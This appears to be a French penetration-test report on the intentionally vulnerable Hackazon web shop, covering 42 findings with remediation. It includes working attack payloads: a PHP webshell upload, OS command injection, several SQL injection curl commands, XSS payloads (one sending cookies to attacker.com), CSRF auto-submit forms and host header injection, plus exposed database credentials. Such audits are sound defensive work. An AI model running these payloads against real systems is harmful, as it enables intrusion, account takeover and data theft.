Cible : https://hackazon.trackflaw.com
42 vulnérabilités ont été identifiées sur l'application Hackazon, incluant :
- 2 exécutions de code à distance (RCE)
- 3 injections SQL
- 11 vulnérabilités XSS (Stored, Reflected, DOM-based)
- 8 vulnérabilités CSRF
- 5 vulnérabilités de gestion d'authentification
- 13 autres vulnérabilités de sécurité
Sévérité : Critique CVSS : 9.8 Type : Remote Code Execution Authentification : Requise
Description : L'upload de photo de profil ne valide pas correctement l'extension des fichiers. Un fichier PHP peut être uploadé et exécuté.
Localisation :
- Endpoint :
/account/profile/edit - Fichier :
/var/www/html/classes/App/Controller/Account.php - Ligne : 79-95
Reproduction :
- Se connecter avec
your-mail-adresse / your-password - Accéder à
/account/profile/edit - Uploader un fichier
poc.phpcontenant :
<?php system($_GET['c']); ?>- Accéder à
https://hackazon.trackflaw.com/user_pictures/7e/poc.php?c=id
Preuve :
curl -s "https://hackazon.trackflaw.com/user_pictures/7e/poc.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact : Exécution de code arbitraire sur le serveur avec les privilèges www-data. Accès complet au système de fichiers et à la base de données.
Remédiation :
- Valider l'extension via whitelist stricte
- Vérifier le MIME type réel du fichier
- Renommer les fichiers uploadés
- Stocker les uploads hors de webroot
- Désactiver l'exécution PHP dans le répertoire d'upload
Sévérité : Critique CVSS : 9.1 Type : Remote Code Execution Authentification : Requise
Description :
Le paramètre page de l'endpoint /account/documents est passé directement à la fonction exec() sans validation lorsque la vulnérabilité OSCommand est activée.
Localisation :
- Endpoint :
/account/documents?page= - Fichier :
/var/www/html/classes/App/Controller/Account.php - Ligne : 105-107
Code vulnérable :
if (!$page->isVulnerableTo('OSCommand')) {
$path = escapeshellarg($path);
}
exec('cat ' . $path, $content);Configuration vulnérable :
// /var/www/html/assets/config/vuln/account.php
'page' => array(
'vulnerabilities' => array(
'vuln_list' => array(
'OSCommand' => array(
'enabled' => true,
),
),
),
),Reproduction :
- Se connecter avec
your-mail-adresse / your-password - Envoyer la requête :
curl -s "https://hackazon.trackflaw.com/account/documents?page=x;id" \
-b "PHPSESSID=SESSION_VALIDE"Preuve :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact : Exécution de commandes système arbitraires. Compromission totale du serveur.
Remédiation :
- Supprimer l'utilisation de
exec()avec input utilisateur - Utiliser une whitelist de fichiers autorisés
- Appliquer
escapeshellarg()systématiquement - Désactiver OSCommand en production
Sévérité : Critique CVSS : 9.0 Type : SQL Injection Authentification : Non requise
Description :
Le paramètre searchString est injecté dans une requête SQL sans échappement correct lorsque la vulnérabilité SQL est activée.
Localisation :
- Endpoint :
/search?searchString= - Fichier :
/var/www/html/classes/App/Controller/Search.php
Reproduction :
# Test time-based blind SQLi
curl -s "https://hackazon.trackflaw.com/search?searchString=test'+AND+SLEEP(5)--+-" \
-w "Time: %{time_total}s\n"Preuve :
Time: 5.234s (délai de 5 secondes confirmé)
Extraction de données :
# Extraire le nom de la base de données
curl -s "https://hackazon.trackflaw.com/search?searchString=x'+AND+(SELECT+SLEEP(5)+FROM+dual+WHERE+database()='hackazon')--+-"Impact : Extraction complète de la base de données incluant :
- Mots de passe hashés des utilisateurs
- Tokens d'authentification
- Informations de paiement
- Données personnelles
Remédiation :
- Utiliser des requêtes préparées (prepared statements)
- Valider et échapper toutes les entrées utilisateur
- Appliquer le principe de moindre privilège sur le compte MySQL
- Désactiver la vulnérabilité SQL en production
Sévérité : Critique CVSS : 9.0 Type : SQL Injection Authentification : Non requise
Description : Les messages d'erreur SQL sont affichés directement dans les réponses HTTP, permettant l'extraction de données via error-based SQL injection.
Localisation :
- Endpoint :
/product/view?id= - Multiples endpoints REST API
Reproduction :
curl -s "https://hackazon.trackflaw.com/product/view?id=1'+AND+extractvalue(1,concat(0x7e,database()))--+-"Preuve :
XPATH syntax error: '~hackazon'
Impact : Extraction rapide de données sensibles via les messages d'erreur MySQL.
Remédiation :
- Désactiver l'affichage des erreurs SQL en production
- Logger les erreurs côté serveur uniquement
- Utiliser des requêtes préparées
Sévérité : Critique CVSS : 9.0 Type : SQL Injection Authentification : Requise (REST Token)
Description :
Le champ first_name dans l'API REST /api/user accepte les injections SQL via XML/JSON lorsque la vulnérabilité SQL est activée.
Localisation :
- Endpoint :
PUT /api/user/{id} - Fichier :
/var/www/html/assets/config/vuln/rest.php
Code de configuration :
'fields' => array(
array(
'name' => 'first_name',
'source' => 'body',
'vulnerabilities' => array(
'vuln_list' => array(
'SQL' => array(
'enabled' => true,
'blind' => true,
),
),
),
),
),Reproduction :
curl -s "https://hackazon.trackflaw.com/api/user/12" -X PUT \
-H "Authorization: Token 4e70197afd0e1cd026e3567928cb770749c88003" \
-H "Content-Type: application/json" \
-d '{
"first_name": "test\" UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM tbl_users--",
"last_name": "test"
}'Impact : Extraction de tous les comptes utilisateurs incluant les hash de mots de passe.
Remédiation :
- Utiliser des requêtes préparées
- Désactiver la vulnérabilité SQL en production
Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Requise
Description : Les avis produits ne sont pas correctement échappés, permettant l'injection de JavaScript qui s'exécute pour tous les visiteurs.
Localisation :
- Endpoint :
/product/view?id=X(section reviews) - Stockage : Table
tbl_reviews
Reproduction :
- Se connecter
- Poster un avis avec :
<script>fetch('https://attacker.com/'+document.cookie)</script>- Tout visiteur de la page produit exécute le script
Preuve POC : Voir poc/xss_stored_review.html
Impact : Vol de cookies de session, redirection malveillante, defacement, keylogging.
Remédiation :
- Échapper toutes les sorties HTML
- Utiliser Content-Security-Policy
- Valider et filtrer les entrées
Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Requise
Description : Le nom de wishlist n'est pas échappé lors de l'affichage.
Localisation :
- Endpoint :
/wishlist/create - Affichage :
/wishlist/view
Reproduction :
curl -s "https://hackazon.trackflaw.com/wishlist/create" -X POST \
-H "Cookie: PHPSESSID=SESSION" \
-d "name=<img src=x onerror=alert(document.domain)>&csrf_token=TOKEN"Preuve POC : Voir poc/xss_stored_wishlist.html
Impact : Vol de session, actions non autorisées au nom de la victime.
Remédiation :
- Échapper systématiquement avec htmlspecialchars()
- Appliquer CSP
Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (Reflected) Authentification : Non requise
Description : Le paramètre de recherche est reflété sans échappement dans la page de résultats.
Localisation :
- Endpoint :
/search?searchString=
Reproduction :
https://hackazon.trackflaw.com/search?searchString=<script>alert(document.domain)</script>
Preuve POC : Voir poc/xss_reflected_search.html
Impact : Phishing, vol de credentials via formulaire malveillant.
Remédiation :
- Échapper les entrées utilisateur avant affichage
- Encoder selon le contexte (HTML, JS, URL)
Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (Reflected) Authentification : Non requise
Description : Les messages d'erreur reflètent le contenu de l'URL sans échappement.
Localisation :
- Endpoint :
/product/view?id=<payload> - Page 404
Reproduction :
https://hackazon.trackflaw.com/product/view?id="><script>alert(1)</script>
Remédiation :
- Échapper tous les messages d'erreur
Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (DOM-based) Authentification : Non requise
Description : Le code JavaScript manipule le DOM avec des données non validées provenant de l'URL.
Localisation :
- Fichier :
/js/site.js
Reproduction :
https://hackazon.trackflaw.com/#<img src=x onerror=alert(1)>
Remédiation :
- Valider et encoder les données avant manipulation DOM
- Utiliser textContent au lieu de innerHTML
Sévérité : Haute CVSS : 7.1 Type : Cross-Site Request Forgery Authentification : Non requise (victime authentifiée)
Description : L'endpoint de changement de mot de passe ne vérifie pas le token CSRF ou il peut être bypassé.
Localisation :
- Endpoint :
POST /account/change_password
Reproduction : Voir poc/csrf_change_password.html
Code POC :
<form method="POST" action="https://hackazon.trackflaw.com/account/change_password">
<input name="old_password" value="anything">
<input name="new_password" value="hacked123">
<input name="confirm_password" value="hacked123">
</form>
<script>document.forms[0].submit()</script>Impact : Prise de contrôle de compte utilisateur.
Remédiation :
- Implémenter et vérifier les tokens CSRF
- Utiliser SameSite=Strict sur les cookies
Sévérité : Haute CVSS : 6.5 Type : Cross-Site Request Forgery Authentification : Non requise
Description : L'ajout au panier ne nécessite pas de token CSRF.
Localisation :
- Endpoint :
POST /cart/add
Reproduction : Voir poc/csrf_add_cart.html
Impact : Ajout de produits non désirés au panier de la victime.
Remédiation :
- Implémenter tokens CSRF
Sévérité : Haute CVSS : 7.5 Type : Cross-Site Request Forgery Authentification : Non requise
Description : La création de commande peut être forcée via CSRF.
Localisation :
- Endpoint :
POST /checkout/order
Reproduction : Voir poc/csrf_create_order.html
Impact : Commandes non autorisées au nom de la victime.
Remédiation :
- Tokens CSRF obligatoires
- Re-validation du panier
Sévérité : Haute CVSS : 7.1 Type : Cross-Site Request Forgery Authentification : Non requise
Description : La suppression de compte ne vérifie pas le token CSRF.
Localisation :
- Endpoint :
POST /account/delete
Reproduction : Voir poc/csrf_delete_account.html
Impact : Suppression du compte utilisateur sans consentement.
Remédiation :
- Tokens CSRF + confirmation par email
Sévérité : Moyenne CVSS : 5.4 Type : Cross-Site Request Forgery Authentification : Non requise
Description : La mise à jour du profil accepte les requêtes sans token CSRF valide.
Localisation :
- Endpoint :
POST /account/profile/edit
Reproduction : Voir poc/csrf_update_profile.html
Impact : Modification des informations personnelles de la victime.
Remédiation :
- Implémenter tokens CSRF
Sévérité : Moyenne CVSS : 5.3 Type : Cross-Site Request Forgery Authentification : Non requise
Description : L'ajout d'avis produit peut être forcé via CSRF.
Localisation :
- Endpoint :
POST /product/review
Reproduction : Voir poc/csrf_add_review.html
Impact : Faux avis publiés au nom de la victime.
Remédiation :
- Tokens CSRF obligatoires
Sévérité : Moyenne CVSS : 4.3 Type : Cross-Site Request Forgery Authentification : Non requise
Description : La création de wishlist ne vérifie pas le token CSRF.
Localisation :
- Endpoint :
POST /wishlist/create
Reproduction : Voir poc/csrf_create_wishlist.html
Impact : Création de wishlists non désirées.
Remédiation :
- Implémenter tokens CSRF
Sévérité : Faible CVSS : 3.5 Type : Cross-Site Request Forgery Authentification : Non requise
Description : Le formulaire de contact peut être soumis via CSRF.
Localisation :
- Endpoint :
POST /contact
Reproduction : Voir poc/csrf_contact.html
Impact : Spam de messages de contact.
Remédiation :
- Tokens CSRF + CAPTCHA
Sévérité : Haute CVSS : 7.4 Type : Host Header Injection Authentification : Non requise
Description : L'en-tête HTTP Host est utilisé sans validation pour générer les liens de récupération de mot de passe, permettant le vol de tokens.
Localisation :
- Endpoint :
POST /user/password - Fichier :
/var/www/html/classes/App/Model/User.php - Ligne : 245
Code vulnérable :
$host = $_SERVER['HTTP_HOST'] ? 'http://'.$_SERVER['HTTP_HOST'] : '';
$text = 'Recovering link is here ' . $host . '/user/recover?recover=' . $this->getTempPassword($user);Reproduction :
curl -s "https://hackazon.trackflaw.com/user/password" -X POST \
-H "Host: evil.attacker.com" \
-d "email=victim@example.com"Impact :
La victime reçoit un email avec un lien vers http://evil.attacker.com/user/recover?recover=TOKEN, permettant le vol du token de récupération.
Remédiation :
- Ne jamais utiliser $_SERVER['HTTP_HOST'] sans validation
- Configurer un domaine fixe dans la configuration
- Valider l'en-tête Host contre une whitelist
Sévérité : Haute CVSS : 6.1 Type : Open Redirect Authentification : Non requise
Description :
Le paramètre return_url après authentification n'est pas validé, permettant la redirection vers des domaines externes.
Localisation :
- Endpoint :
/user/login?return_url= - Fichier :
/var/www/html/classes/App/Controller/User.php - Ligne : 47-49
Code vulnérable :
if ($returnUrl->raw()) {
$this->redirect($returnUrl->escapeXSS()); // escapeXSS ne valide pas les URLs
}Reproduction :
https://hackazon.trackflaw.com/user/login?return_url=https://evil.com/phishing
Impact : Phishing, vol de credentials via redirection vers site malveillant ressemblant à Hackazon.
Remédiation :
- Valider que l'URL est relative ou appartient au domaine
- Utiliser une whitelist de domaines autorisés
- Vérifier que l'URL commence par / uniquement
Sévérité : Haute CVSS : 7.5 Type : Cryptographie faible Authentification : Non requise
Description : Le token de récupération de mot de passe utilise MD5 d'une chaîne aléatoire de 32 caractères, réduisant l'espace de recherche.
Localisation :
- Fichier :
/var/www/html/classes/App/Model/User.php - Ligne : 280-295
Code vulnérable :
$arr = array('a', 'b', 'c', ..., '0'); // 62 caractères
$password = "";
for ($i = 0; $i < 32; $i++)
$password .= $arr[rand(0, count($arr) - 1)];
$user->recover_passw = md5($password); // MD5 faibleReproduction : Bruteforce possible si le timing de génération est connu.
Impact : Compromission de compte via bruteforce du token MD5.
Remédiation :
- Utiliser random_bytes() pour générer 32 bytes cryptographiquement sûrs
- Stocker le hash SHA-256 du token
- Ajouter une expiration (15 minutes max)
- Limiter les tentatives
Sévérité : Haute CVSS : 6.5 Type : Misconfiguration Authentification : Non requise
Description : Le fichier crossdomain.xml autorise tous les domaines à effectuer des requêtes cross-domain.
Localisation :
- Fichier :
/var/www/html/web/crossdomain.xml
Configuration vulnérable :
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" to-ports="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>Impact : Attaques cross-domain depuis Flash/anciens navigateurs, contournement de Same-Origin Policy.
Remédiation :
- Restreindre aux domaines de confiance uniquement
- Utiliser
<site-control permitted-cross-domain-policies="none"/>
Sévérité : Moyenne CVSS : 5.3 Type : Information Disclosure Authentification : Non requise
Description : La documentation Swagger expose tous les endpoints API, paramètres et schémas de données publiquement.
Localisation :
- URL :
https://hackazon.trackflaw.com/swagger.json
Impact : Facilite la reconnaissance pour un attaquant.
Remédiation :
- Restreindre l'accès à Swagger en production
- Authentification requise pour la documentation
Sévérité : Moyenne CVSS : 5.3 Type : Information Disclosure Authentification : Non requise
Description : Les messages d'erreur détaillés révèlent des chemins système, versions de frameworks, structure de base de données.
Exemples :
- Chemins complets :
/var/www/html/classes/App/... - Erreurs SQL avec structure de table
- Stack traces complètes
Impact : Facilite l'exploitation d'autres vulnérabilités.
Remédiation :
- Désactiver display_errors en production
- Logger les erreurs côté serveur uniquement
- Messages d'erreur génériques pour l'utilisateur
Sévérité : Critique CVSS : 9.8 Type : Information Disclosure Authentification : Aucune (via RCE)
Description : Les credentials MySQL sont stockés en clair dans un fichier de configuration accessible via RCE.
Localisation :
- Fichier :
/var/www/html/db.php
Credentials exposés :
'user' => 'hackazon',
'password' => 'MDEXMenxEKF',
'connection' => 'mysql:host=hackazon_db;port=3306;dbname=hackazon',Impact : Accès direct à la base de données, extraction de toutes les données utilisateurs.
Remédiation :
- Utiliser des variables d'environnement
- Permissions strictes sur les fichiers de config
- Chiffrement des credentials
Sévérité : Haute CVSS : 7.5 Type : Session Fixation Authentification : Non requise
Description : L'ID de session n'est pas régénéré après authentification.
Reproduction :
- Attaquant obtient un PHPSESSID
- Victime se connecte avec ce PHPSESSID
- Attaquant réutilise le PHPSESSID pour accès authentifié
Impact : Prise de contrôle de session.
Remédiation :
- Appeler session_regenerate_id(true) après login
- Utiliser des cookies HttpOnly et Secure
Sévérité : Moyenne CVSS : 5.3 Type : Information Disclosure Authentification : Non requise
Description : Les messages d'erreur diffèrent selon que l'email existe ou non dans la base.
Localisation :
- Endpoint :
POST /user/password
Reproduction :
# Email invalide
curl -s "https://hackazon.trackflaw.com/user/password" -X POST \
-d "email=nonexistent@test.com"
# Réponse : "Email is incorrect."
# Email valide
curl -s "https://hackazon.trackflaw.com/user/password" -X POST \
-d "email=your-mail-adresse"
# Réponse : "Check your email and restore password."Impact : Enumération des comptes utilisateurs valides, ciblage pour attaques.
Remédiation :
- Message identique dans tous les cas
- Rate limiting sur l'endpoint
Sévérité : Haute CVSS : 7.3 Type : Authentication Bypass Authentification : Non requise
Description : L'interface d'administration AMF utilise des credentials par défaut.
Localisation :
- URL :
https://hackazon.trackflaw.com/amf_back_office/ - Fichier :
/var/www/html/web/amf_back_office/Config.php
Credentials par défaut :
$this->backOfficeCredentials['admin'] = 'admin';Reproduction :
- Accéder à
/amf_back_office/SignIn.php - Se connecter avec
admin / admin - Accès au Service Browser et Profiler
Impact : Accès à l'interface d'administration AMF, possibilité de tester et profiler les services.
Remédiation :
- Changer les credentials par défaut
- Désactiver l'interface en production
- Restriction IP
Sévérité : Haute CVSS : 7.5 Type : Insecure Direct Object Reference Authentification : Non requise
Description :
La méthode getEnquiryById() du service GWT Helpdesk ne vérifie pas l'authentification ni l'autorisation.
Localisation :
- Service :
HelpdeskService.getEnquiryById(int id) - Fichier :
/var/www/html/modules/gwtphp/gwtphp-maps/com/ntobjectives/hackazon/helpdesk/client/HelpdeskServiceImpl.class.php - Ligne : 75-78
Code vulnérable :
public function getEnquiryById($id)
{
$idWrapped = $this->wrap('id', $id);
return $this->servlet->getRepository()->findOne('Enquiry', $idWrapped);
// PAS de checkAuthorized() ici !
}Comparaison avec méthode sécurisée :
public function getEnquiries()
{
$this->checkAuthorized(); // ← Vérification présente
return $this->servlet->getRepository()->getUserEnquiries();
}Impact : Lecture de toutes les enquêtes du helpdesk sans authentification.
Remédiation :
- Ajouter
$this->checkAuthorized()au début de la méthode - Vérifier que l'enquête appartient à l'utilisateur courant
Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Non requise
Description : Les messages de contact ne sont pas échappés dans l'interface d'administration.
Localisation :
- Endpoint :
POST /contact - Affichage :
/admin/enquiry
Reproduction : Voir poc/xss_stored_contact.html
Impact : XSS exécuté dans le contexte admin.
Remédiation :
- Échapper toutes les sorties dans l'admin
- CSP strict
Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Requise (Admin)
Description : Les noms de produits créés par un admin ne sont pas échappés.
Localisation :
- Endpoint :
/admin/product/create
Impact : XSS persistant affecté tous les utilisateurs.
Remédiation :
- Échapper même les données admin
- Validation stricte des entrées
Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (Reflected) Authentification : Non requise
Description : Le paramètre return_url de la page de login admin est reflété sans échappement.
Localisation :
- Endpoint :
/admin/user/login?return_url=
Reproduction :
https://hackazon.trackflaw.com/admin/user/login?return_url="><script>alert(document.domain)</script>
Remédiation :
- Échapper le paramètre return_url
- Valider qu'il s'agit d'une URL relative
Sévérité : Moyenne CVSS : 6.1 Type : Cross-Site Scripting (Reflected) Authentification : Non requise
Description : Le paramètre de filtre de catégorie est reflété sans échappement.
Localisation :
- Endpoint :
/category/view?filter=
Reproduction :
https://hackazon.trackflaw.com/category/view?filter=<img src=x onerror=alert(1)>
Remédiation :
- Échapper avant affichage
Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (DOM-based) Authentification : Non requise
Description : Utilisation de jQuery 1.10.2 vulnérable à CVE-2020-11022 permettant l'injection dans les sélecteurs.
Localisation :
- Fichier :
/js/jquery-1.10.2.js - CVE : CVE-2020-11022
Reproduction :
$('<img src=x onerror=alert(1)>').appendTo('body');Impact : XSS via manipulation DOM.
Remédiation :
- Mettre à jour jQuery vers version 3.5.0+
- Valider les entrées avant manipulation DOM
Sévérité : Moyenne CVSS : 5.3 Type : Cross-Site Request Forgery Authentification : Non requise
Description : L'application de coupon peut être forcée via CSRF.
Localisation :
- Endpoint :
POST /cart/applyCoupon
Reproduction : Voir poc/csrf_apply_coupon.html
Impact : Application de coupons non désirés.
Remédiation :
- Tokens CSRF obligatoires
Sévérité : Haute CVSS : 7.5 Type : Cryptographie faible Authentification : N/A
Description : Les mots de passe sont hashés avec MD5 et un salt court.
Localisation :
- Base de données :
tbl_users.password
Format observé :
52c21acede1667b6901303342d5d7b0d:3630791646979a6b91b646
Impact : Rainbow tables et bruteforce facilités.
Remédiation :
- Utiliser password_hash() avec bcrypt ou Argon2
- Salt de 128+ bits
- Remigration des mots de passe existants
Sévérité : Moyenne CVSS : 5.3 Type : Brute Force Authentification : Non requise
Description : Aucune limitation du nombre de tentatives de connexion.
Localisation :
- Endpoint :
POST /user/login
Impact : Bruteforce de mots de passe.
Remédiation :
- Rate limiting par IP et par compte
- CAPTCHA après 3 tentatives
- Blocage temporaire
Sévérité : Moyenne CVSS : 5.0 Type : Misconfiguration Authentification : Non requise
Description : Absence de headers de sécurité modernes.
Headers manquants :
- Content-Security-Policy
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security
- Referrer-Policy
- Permissions-Policy
Impact : Vulnérabilité au clickjacking, XSS, sniffing MIME.
Remédiation :
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Sévérité : Moyenne CVSS : 5.9 Type : Misconfiguration Authentification : N/A
Description : Les cookies de session ne disposent pas des attributs Secure, HttpOnly et SameSite.
Configuration actuelle :
Set-Cookie: PHPSESSID=xxx; path=/
Impact : Vol de session via XSS, attaques CSRF, interception MITM.
Remédiation :
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);Sévérité : Faible CVSS : 3.7 Type : Information Disclosure Authentification : Non requise
Description : Les headers HTTP révèlent des informations sur le serveur.
Headers exposés :
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Impact : Facilite le ciblage de vulnérabilités connues.
Remédiation :
- Désactiver expose_php dans php.ini
- Masquer la version Apache
- Utiliser ServerTokens Prod
Sévérité : Haute CVSS : 7.5 Type : Path Traversal Authentification : Non requise (si use_external_dir=true)
Description : L'endpoint de téléchargement pourrait permettre la lecture de fichiers arbitraires si use_external_dir était activé.
Localisation :
- Endpoint :
/upload/download.php?image= - Fichier :
/var/www/html/web/upload/download.php
Code potentiellement vulnérable :
$file = $pixie->orm->get('file')->where('path', 'LIKE', '%'.$fileName)->find();Configuration actuelle :
if (!$pixie->getParameter('parameters.use_external_dir')) {
header('HTTP/1.1 404 Not Found');
exit;
}Impact : Lecture de fichiers système si activé.
Remédiation :
- Valider strictement le paramètre image
- Whitelist de répertoires autorisés
- Garder use_external_dir=false en production
Sévérité : Critique CVSS : 9.0 Type : Arbitrary File Write Authentification : Requise (Session manipulation)
Description : Le script Perl d'upload permet l'écriture de fichiers arbitraires si l'attaquant peut manipuler les fichiers de session.
Localisation :
- Script :
/var/www/html/web/upload/bin/upload.pl - Ligne : 56-60
Code vulnérable :
my $sessionfile = $sessiondir."/sess_".$sid."_uploadto";
my $uniqueDir = $sessionfile . "/" . $uniqsubdir;
open SESSFILE, "<$uniqueDir";
my $uploaddir = do { local $/; <SESSFILE> };
my $fullpath = "$uploaddir/$filename";Impact : Écriture de fichiers arbitraires sur le système si contrôle de $uploaddir.
Remédiation :
- Supprimer le script Perl non utilisé
- Validation stricte des chemins
- Permissions restrictives sur /lib/init/rw
(Listées ci-dessus dans leurs sections respectives)
Les fichiers de preuve de concept sont disponibles dans le répertoire /poc/ :
csrf_change_password.html- Changement de mot de passecsrf_add_cart.html- Ajout au paniercsrf_create_order.html- Création de commandecsrf_delete_account.html- Suppression de comptecsrf_update_profile.html- Mise à jour profilcsrf_add_review.html- Ajout d'avis produitcsrf_create_wishlist.html- Création de wishlistcsrf_contact.html- Formulaire de contactcsrf_apply_coupon.html- Application de coupon
xss_stored_review.html- XSS stocké dans avisxss_stored_wishlist.html- XSS stocké dans wishlistxss_reflected_search.html- XSS reflété recherchexss_stored_contact.html- XSS stocké contact
rce_file_upload.sh- Upload de webshell PHPrce_os_command.sh- Injection de commande OSwebshell.php- Webshell simple
sqli_blind_time.sh- Time-based blind SQLisqli_error_based.sh- Error-based SQLisqli_union.sh- Union-based SQLi
host_header_injection.sh- Host header injectionopen_redirect.sh- Open redirectaccount_enumeration.sh- Énumération de comptes
- Corriger les 2 RCE immédiatement
- Désactiver toutes les vulnérabilités intentionnelles en production
- Patcher les 3 SQL injections
- Mettre à jour jQuery
- Implémenter les tokens CSRF sur tous les formulaires
- Échapper toutes les sorties HTML
- Corriger Host Header Injection et Open Redirect
- Régénérer les IDs de session après login
- Changer credentials AMF par défaut
- Implémenter CSP et security headers
- Corriger les attributs de cookies
- Mettre en place rate limiting
- Migration vers bcrypt pour les mots de passe
// /var/www/html/assets/config/vuln/default.php
return array(
'vulnerabilities' => array(
'vuln_list' => array(
'CSRF' => array('enabled' => false),
'SQL' => array('enabled' => false),
'XSS' => array('enabled' => false),
'OSCommand' => array('enabled' => false),
'RemoteFileInclude' => array('enabled' => false),
'XMLExternalEntity' => array('enabled' => false),
),
),
);